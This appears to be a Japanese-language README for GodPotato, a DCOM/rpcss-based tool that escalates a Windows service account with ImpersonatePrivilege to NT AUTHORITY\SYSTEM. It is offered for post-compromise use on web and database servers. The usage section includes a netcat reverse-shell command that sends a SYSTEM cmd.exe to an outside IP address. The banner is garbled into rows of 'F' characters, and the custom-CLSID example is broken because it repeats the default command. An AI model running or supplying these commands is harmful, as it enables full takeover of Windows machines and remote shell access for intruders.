beichendream/godpotatoWindows Server 2012-2022およびWindows 8-11向けのDCOMベースの権限昇格ツール。ImpersonatePrivilegeを持つユーザーを、rpcss oxid脆弱性を介してNT AUTHORITY\SYSTEMに昇格させます。
過去6年間のPotato権限昇格の歴史（RottenPotatoの始まりからJuicyPotatoNGまで）に基づき、DCOMの研究を通じて新たな技術を発見しました。これにより、Windows 2012～Windows 2022で権限昇格が可能になりました。今では「ImpersonatePrivilege」権限さえ持っていれば、「NT AUTHORITY\SYSTEM」になれます。通常、WEBサービスやデータベースサービスは「ImpersonatePrivilege」権限を持っています。
Potato権限昇格は、WEB/データベース権限を取得した際によく使用されます。低権限のサービスユーザーを「NT AUTHORITY\SYSTEM」権限に昇格させることができます。 しかし、従来のPotatoは最新のWindowsシステムでは動作しませんでした。DCOMを研究中、権限昇格を実行できる新しい方法を発見しました。rpcssがoxidを処理する際にいくつかの欠陥があり、rpcssはシステムが必ず開かなければならないサービスであるため、ほぼすべてのWindows OSで動作します。これをGodPotatoと名付けました。
Windows Server 2012～Windows Server 2022 Windows 8～Windows 11
FFFFF FFF FFFFFFF
FFFFFFF FFF FFFFFFFF
FFF FFFF FFF FFF FFF FFF FFF
FFF FFF FFF FFF FFF FFF FFF
FFF FFF FFF FFF FFF FFF FFF
FFFF FFFFFFF FFFFFFFF FFF FFF FFFFFFF FFFFFFFFF FFFFFF FFFFFFFFF FFFFFF
FFFF FFFF FFFF FFF FFFF FFF FFFF FFFF FFFF FFF FFF FFF FFF FFF FFFF
FFFF FFFFF FFF FFF FFF FFF FFFFFFFF FFF FFF FFF F FFF FFF FFF FFF
FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFF FFF FFF FFFF
FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFFFFF FFF FFF FFFF
FFF FFF FFF FFF FFF FFF FFF FFF FFF FFF FFFF FFF FFF FFF FFFF
FFFF FFFF FFFF FFF FFFF FFF FFF FFF FFFF FFF FFFF FFF FFF FFFF FFF
FFFFFFFF FFFFFFF FFFFFFFF FFF FFFFFFF FFFFFF FFFFFFFF FFFFFFF FFFFFFF
FFFFFFF FFFFF FFFFFFF FFF FFFFF FFFFF FFFFFFFF FFFF FFFF
引数:
-cmd 必須:True コマンドライン（デフォルト cmd /c whoami）
使用例:
GodPotato -cmd "cmd /c whoami"
プログラム内蔵のClsidを使用して権限昇格を実行し、簡単なコマンドを実行
GodPotato -cmd "cmd /c whoami"
Clsidをカスタマイズしてコマンドを実行
GodPotato -cmd "cmd /c whoami"
リバースシェルコマンドを実行
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
zcgonvh
skay